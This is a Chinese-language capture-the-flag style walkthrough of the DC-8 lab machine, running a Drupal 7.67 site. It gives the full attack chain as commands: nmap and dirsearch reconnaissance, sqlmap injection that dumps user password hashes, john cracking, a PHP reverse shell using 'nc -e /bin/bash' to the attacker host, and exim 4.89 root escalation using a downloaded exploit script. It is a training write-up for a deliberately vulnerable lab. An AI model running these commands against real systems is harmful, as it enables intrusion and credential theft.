DC8靶机渗透全流程

starme / 2024-10-19 / 原文

DC-8 √ Drupal

参考:https://blog.csdn.net/l2872253606/article/details/126062437

1.nmap

扫IP与端口:

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535 -Pn

image-20230801173540461

image-20230801205755604

image-20230801205712847

发现22端口(SSH服务),80端口(HTTP服务)

3.目录扫描

dirsearch -u 192.168.40.168 -e * -x 403 --random-agent

解析:

-u 192.168.40.167 : 指定目标IP地址

-e *:表示将尝试所有可能的文件扩展名

-x 403: 将忽略返回状态码为 403 的响应

--random-agent : 使用随机的 User-Agent 字符串发送 HTTP 请求

image-20230801205609060

发现了几个重要文件:

CHANGELOG.txt->用于查看Drupal的版本
/user/login  ->用于登录

4.wappalyzer

访问80端口并查网站结构:

image-20230817153451301

了解具体的版本: CHANGELOG.txt

image-20230801210201057

得知是Drupal 7.67

image-20230817153531203

5.SQL注入

最主要的就是要寻找漏洞点,而参数往往就是一个重要的利用点.

image-20230817153601809

尝试注入点:

image-20230817153633787

接下来就是sqlmap时间:

# 爆库 :d7db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db

image-20230801211200714

得知数据库名为"d7db"

# 爆表 :users
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables

image-20230801211501177

# 爆列
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns

image-20230801211739934

# 爆字段
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump

image-20230801211933345

得到了密码

6.john解密

touch hash.txt
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' >> hash.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' >> hash.txt
cat hash.txt

image-20230801212340786

得出一个密码:turtle

image-20230801212540355

经测试是john的密码

7.PHP反弹shell

登录后查找可写PHP代码的位置:

image-20230801215333505

image-20230801215404475

<p>反弹shell成功!</p>
<?php
system("nc -e /bin/bash 192.168.40.148 2333");
?>

image-20230801215507986

python -c "import pty;pty.spawn('/bin/bash');"

image-20230801215743911

小tips:获得交互式shell后,若要删除字符,则需ctrl+backspace

8.SUID提权

# 查找具有SUID权限的命令:
find / -perm -4000 -print 2 > /dev/null

image-20230801220328095

这里采用WP中的/usr/sbin/exim4提权:

查看版本:

exim --version : 4.89

image-20230801220930147

# 在kali上寻找
searchsploit exim 4

image-20230801221140706

拷贝到kali的指定目录中:

# kali
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

image-20230801221615157

再在此目录下开启HTTP服务:

# kali
python -m http.server 6666

image-20230801221659945

# dc-7
cd /tmp # EXP的要求
wget 192.168.40.148:6666/46996.sh  # 再下载到靶机的/tmp目录中

image-20230801222120825

# 查看文件权限
ls -al

image-20230801222211900

得出EXP文件不可执行

#赋予EXP执行的权限
chmod 777 46996.sh
ls -al

image-20230801222325804

cat 46996.sh

image-20230801222647431

./46996.sh -m netcat

image-20230801222911031

提权成功

image-20230801222955539

9.小结

# DC-8
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.168 -e * -x 403 --random-agent
重要文件: CHANGELOG.txt->用于查看Drupal的具体版本 ,/user/login  ->用于登录
# wappalyzer
Drupal
# SQL注入:
一般而言,参数+数字
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump
# john解密
john hash.txt
# PHP反弹shell-也可连蚁剑
<?php system('nc -e /bin/bash 192.168.40.168 2333')?>
# SUID提权  - /usr/sbin/exim4提权
find / -perm -4000 -print 2 > /dev/null # /usr/sbin/exim4
searchsploit exim 4
cp,mv,wget,将sh文件移动到靶机的/tmp目录下,并chmod赋权
./46996.sh -m netcat  # EXP中会提示用法